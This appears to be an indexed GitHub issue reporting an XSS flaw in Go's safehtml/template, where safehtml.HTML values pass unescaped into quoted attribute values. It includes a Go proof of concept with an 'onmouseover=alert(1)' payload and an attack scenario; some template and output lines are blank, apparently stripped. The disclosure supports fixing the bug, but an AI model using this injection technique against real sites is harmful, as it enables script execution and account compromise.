safehtml/template: safehtml.HTML values are written raw into quoted attribute values
- Dominant language
- Go
- Stars
- 380
- Forks
- 23
- PR merge metrics
- No merged PRs in 30d
Description
`sanitizersForAttributeValue` (`template/sanitize.go:100`) appends `_sanitizeHTML` to the sanitizer chain for every attribute value, and it runs last. `sanitizeHTML` (`template/sanitizers.go:498`) returns a `safehtml.HTML` argument unchanged:
```
func sanitizeHTML(args ...interface{}) (string, error) {
if len(args) > 0 {
if safeTypeValue, ok := safehtmlutil.Indirect(args[0]).(safehtml.HTML); ok {
return safeTypeValue.String(), nil
}
}
input := safehtmlutil.Stringify(args...)
return safehtml.HTMLEscaped(input).String(), nil
}
```
That shortcut is correct in element content, which is the context covered by `safehtml.HTML`. It is unsafe inside a quoted attribute value because structural quotes in the HTML value can terminate the surrounding attribute.
The same file already has the correct behavior in `sanitizeHTMLValOnly` (`template/sanitizers.go:508`), which is used for `iframe srcdoc`.
No unchecked conversion is required to reach the bug. A fragment rendered by `safehtml/template` is itself a `safehtml.HTML`. If attacker-controlled data appears in the fragment's first quoted attribute, the fragment's opening quote terminates the outer attribute immediately before that data. The browser then parses the data as attributes of the outer element.
Minimal PoC against current safehtml:
```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .
```
```
package main
import (
"fmt"
"strings"
"github.com/google/safehtml/template"
)
func render(label string, t *template.Template, err error, x interface{}) {
if err != nil {
fmt.Printf("%-16s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": x}); err != nil {
fmt.Printf("%-16s rejected: %v\n", label, err)
return
}
fmt.Printf("%-16s %s\n", label, out.String())
}
func main() {
inner := template.Must(template.New("avatar").Parse(
`
`))
frag, err := inner.ExecuteToHTML(map[string]interface{}{
"Alt": `y onmouseover=alert(1) z`,
})
if err != nil {
panic(err)
}
fmt.Printf("%-16s %s\n", "fragment:", frag.String())
a, aerr := template.New("a").Parse(`
render("as HTML:", a, aerr, frag)
b, berr := template.New("b").Parse(`
render("as string:", b, berr, frag.String())
}
```
Actual output:
```
fragment:
as HTML:
as string:
```
In the `as HTML` output, the quote following `alt=` terminates the outer `title` attribute. The browser then parses `y`, `onmouseover=alert(1)`, and `z` as attributes of the outer `
The inner template correctly escapes the attacker-controlled value for its original `alt` context. The vulnerability arises only when the resulting, legitimately constructed `safehtml.HTML` is interpolated into the outer attribute and returned unchanged by `sanitizeHTML`.
Passing the identical bytes as a plain string is handled correctly. The safer-looking typed value is therefore the one that permits XSS.
### Attack scenario
A remote attacker who can control data rendered into a safehtml.HTML fragment can exploit the vulnerability when that fragment is subsequently interpolated into a quoted attribute value. Successful exploitation allows the attacker's data to become a live event-handler attribute, resulting in same-origin JavaScript execution and potentially enabling data theft or account compromise.
Contributor guide
Research direction
Read template/sanitize.go:100 and template/sanitizers.go:498, then compare sanitizeHTMLValOnly at :508. Reproduce the supplied PoC and inspect how quoted attributes are parsed. Done means safehtml.HTML remains safe in element content while interpolation into a quoted attribute cannot terminate that attribute or create an event-handler attribute.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 72/100